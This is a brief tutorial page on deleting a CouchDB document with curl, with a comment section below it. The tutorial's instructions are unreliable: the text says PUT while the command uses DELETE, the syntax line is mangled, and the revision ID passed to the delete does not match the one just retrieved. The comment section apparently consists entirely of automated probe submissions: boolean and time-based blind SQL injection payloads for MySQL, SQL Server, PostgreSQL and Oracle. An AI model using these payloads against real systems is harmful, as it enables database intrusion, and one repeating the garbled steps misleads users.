CouchDB Deleting Document
You can Delete a document in CouchDB by sending an HTTP request to the server using PUT method through cURL utility.
Syntax
curl -X DELETE http : // 127.0.0.1:5984 / database-name/database id?_rev id
Example :
The database with the "contacts" contains the document with ID johndoe.
First you have to get the revision ID of the document which is to be deleted. If you don't know _rev, you can find yourself in the document using the command below. Now after getting the revision ID, use _rev from the document to delete the document. Now, we are deleting the document.
Find revision ID $ curl -X GET http://127.0.0.1:5984/contacts/johndoe { "_id" : "johndoe", "_rev" : "2-04d8eac1680d237ca25b68b36b8899d3 " , "age" : "25" } ----------------------------------------------------- ----------------------------------------------------- Deleting Document $ curl -X DELETE http://127.0.0.1:5984/contacts/johndoe?rev=1- 3fcc78daac7a90803f0a5e383f4f1e1e {"ok":true,"id":"johndoe","rev":"2-3a561d56de1ce3305d693bd15630bf96"}
Verification :
If you want to Verify the document, you can verify using GET request.Since you are fetching a deleted document, this will give you an error message as shown below −
$ curl -X GET http://127.0.0.1:5984/contacts/johndoe {"error":"not_found","reason":"deleted"}
Visit :
Discussion
pHqghUme
555
pHqghUme
555
pHqghUme
555
pHqghUme
-1 OR 2+238-238-1=0+0+0+1 --
pHqghUme
-1 OR 3+238-238-1=0+0+0+1 --
pHqghUme
-1 OR 3*2<(0+5+238-238) --
pHqghUme
-1 OR 3*2>(0+5+238-238) --
pHqghUme
-1 OR 2+64-64-1=0+0+0+1
pHqghUme
-1 OR 3+64-64-1=0+0+0+1
pHqghUme
-1 OR 3*2<(0+5+64-64)
pHqghUme
-1 OR 3*2>(0+5+64-64)
pHqghUme
-1' OR 2+695-695-1=0+0+0+1 --
pHqghUme
-1' OR 3+695-695-1=0+0+0+1 --
pHqghUme
-1' OR 3*2<(0+5+695-695) --
pHqghUme
-1' OR 3*2>(0+5+695-695) --
pHqghUme
-1' OR 2+732-732-1=0+0+0+1 or 'JRN6qbdW'='
pHqghUme
-1' OR 3+732-732-1=0+0+0+1 or 'JRN6qbdW'='
pHqghUme
-1' OR 3*2<(0+5+732-732) or 'JRN6qbdW'='
pHqghUme
-1' OR 3*2>(0+5+732-732) or 'JRN6qbdW'='
pHqghUme
-1" OR 2+493-493-1=0+0+0+1 --
pHqghUme
-1" OR 3+493-493-1=0+0+0+1 --
pHqghUme
-1" OR 3*2<(0+5+493-493) --
pHqghUme
-1" OR 3*2>(0+5+493-493) --
pHqghUme
if(now()=sysdate(),sleep(15),0)
pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
-1; waitfor delay '0:0:15' --
pHqghUme
-1); waitfor delay '0:0:15' --
pHqghUme
1 waitfor delay '0:0:15' --
pHqghUme
xwdFL1mC'; waitfor delay '0:0:15' --
pHqghUme
-5 OR 666=(SELECT 666 FROM PG_SLEEP(15))--
pHqghUme
-5) OR 556=(SELECT 556 FROM PG_SLEEP(15))--
pHqghUme
-1)) OR 325=(SELECT 325 FROM PG_SLEEP(15))--
pHqghUme
HOuebwpe' OR 922=(SELECT 922 FROM PG_SLEEP(15))--
pHqghUme
IaocaUwb') OR 711=(SELECT 711 FROM PG_SLEEP(15))--
pHqghUme
YAtPfYKR')) OR 211=(SELECT 211 FROM PG_SLEEP(15))--
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
1'"
pHqghUme
pHqghUme
@@hxiAY
pHqghUme
555
pHqghUme
555
pHqghUme
555